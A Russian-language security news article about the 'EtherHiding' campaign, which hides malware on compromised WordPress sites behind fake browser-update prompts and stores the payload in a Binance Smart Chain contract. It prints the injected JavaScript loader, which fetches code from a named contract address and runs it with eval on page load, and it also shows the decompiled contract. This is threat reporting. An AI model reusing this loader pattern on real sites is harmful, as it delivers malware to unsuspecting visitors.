- PVSM.RU - https://www.pvsm.ru -

Вредоносный код навсегда сохранили в блокчейне

Вредоносный код навсегда сохранили в блокчейне - 1

Один из старых хакерских трюков — распространять вредоносное ПО под видом обновления браузера [1]. На взломанном сайте размещается плашка с утверждением, что для просмотра нужно обновить браузер. И кнопка для скачивания обновления, как на скриншоте с прошлогодней атаки ClearFake [2]. Таким образом, жертва самостоятельно устанавливает вредоносное ПО на свой компьютер.

В прошлом году злоумышленники разработали умный способ защитить вредоносный софт от уничтожения. Они разместили его в децентрализованном анонимном блокчейне [3]. То есть интегрировали код в смарт-контракт, который навечно сохранился в открытом доступе.

Инновационный способ хранения вредоносного кода описали [3] специалисты по безопасности из израильской компании Guardio.

Схема выглядит следующим образом:

Вредоносный код навсегда сохранили в блокчейне - 2

В данном случае используется BSC (Binance Smart Chain) [4], то есть блокчейн от крупнейшей криптобиржи Binance, который является альтернативой Etherium, первому в интернете блокчейну со смарт-контрактами.

Для распространения вредоноса используются сайты на платформе WordPress. Часто эксплуатируются уязвимости в плагинах WP (например, такое происходило во время операции Balada Injector [5]), устаревшие версии WordPress и украденные учётки.

На каждой странице взломанного сайта размещается следующий код (в обфусцированном виде Base64):

// include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
async function load() {
    let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
        signer = provider.getSigner(),
        address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
        ABI = [
            { inputs: [{ internalType: "string", .......},
            { inputs: [], name: "get", ......},
            { inputs: [], name: "link", ....... },
        ],
        contract = new ethers.Contract(address, ABI, provider),
        link = await contract.get();
    eval(atob(link));
}
window.onload = load;

В данной части код взаимодействует с блокчейном BSC. Он создаёт новый смарт-контракт, инициализируя его с контролируемого злоумышленником адреса в блокчейна. Далее через интерфейс ABI (Application Binary Interface) объявляются функции и структура контракта. Вызывается функция get(), она запрашивает контракт, чтобы скачать тот самый код, который впоследствии будет декодирован в JavaScript с помощью функции eval().

Код смарт-контракта:

def storage:
  stor0 is array of struct at storage 0

def update(string _newName) payable: 
  require calldata.size - 4 >= 32
  require _newName <= -1
  require _newName + 35 < calldata.size
  if _newName.length > -1:
      revert with 'NH{q', 65
  require _newName + _newName.length + 36 <= calldata.size
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
      if _newName.length:
          stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
  else:
  {...}

def get() payable: 
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
          {..}
          if stor0.length.field_1:
              if 31 < stor0.length.field_1:
                  mem[128] = uint256(stor0.field_0)
                  idx = 128
                  s = 0
                  while stor0.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor0[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue 
                  return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
              mem[128] = 256 * stor0.length.field_8
      else:
         {...}
  return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), 

def unknown1c4695f4() payable: 
 {...}

Этот простой смарт-контракт, который использует функцию хранения данных контракта (переменная массива stor0). Метод update() сохраняет входные данные в это хранилище байт за байтом, а метод get() считывает хранилище и возвращает его значение в виде строки. Таким образом, взаимодействуя с контрактом, можно записывать или обновлять данные в цепочке.

Все операции хранятся в истории транзакций BSC, начиная с создания контракта 9 сентября 2023 года по другому адресу, контролируемому злоумышленниками. На этот другой адрес, созданный в конце июня 2022 года, перечислили BNB (монета Binance) в количестве, достаточном для создания и обновления контракта — действий, которые фактически не подлежат оплате, но требуют незначительной платы за «газ» ($0,02−0,60 на каждое действие):

Вредоносный код навсегда сохранили в блокчейне - 3

Считывание вредоносного кода из блокчейна производит функция eth_call из Binance SDK, и это бесплатная операция.

Раньше хакерский код хранился на хостинге [6] Cloudflare — его можно было удалить или заблокировать. К сожалению, сделать такое с блокчейном невозможно по определению. То есть помешать распространению программы нельзя никак. Единственное, что может сделать Binance — это пометить вредоносный контракт в справочном сервисе BSCScan:

Вредоносный код навсегда сохранили в блокчейне - 4

Код из контракта всё равно продолжит свободно распространяться, пусть и с пометкой в справочном сервисе.

Хранить код в блокчейне выгодно: децентрализованный хостинг [6] и чтение из него совершенно бесплатны на годы вперёд, пока этот блокчейн сохранит своё существование. Для злоумышленника удобно ещё и то, что браузер скачивает вредоносный код и запускает его, не оставляя следов и не указывая на авторов атаки, которые сохраняют полную анонимность.

Новый тип атаки через блокчейн получил название EtherHiding [3]. Специалисты пока не могут найти эффективной защиты от распространения программ через общедоступную децентрализованную систему хранения информации, которую по её природе невозможно отредактировать.

Автор: GlobalSign_admin

Источник [7]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/wordpress/409534

Ссылки в тексте:

[1] под видом обновления браузера: https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates

[2] ClearFake: https://rmceoin.github.io/malware-analysis/2023/08/06/clearfake.html

[3] в децентрализованном анонимном блокчейне: https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16

[4] BSC (Binance Smart Chain): https://www.bnbchain.org/en/smartChain

[5] Balada Injector: https://www.bleepingcomputer.com/news/security/over-17-000-wordpress-sites-hacked-in-balada-injector-attacks-last-month/

[6] хостинге: https://www.reg.ru/?rlink=reflink-717

[7] Источник: https://habr.com/ru/companies/globalsign/articles/878822/?utm_campaign=878822&utm_source=habrahabr&utm_medium=rss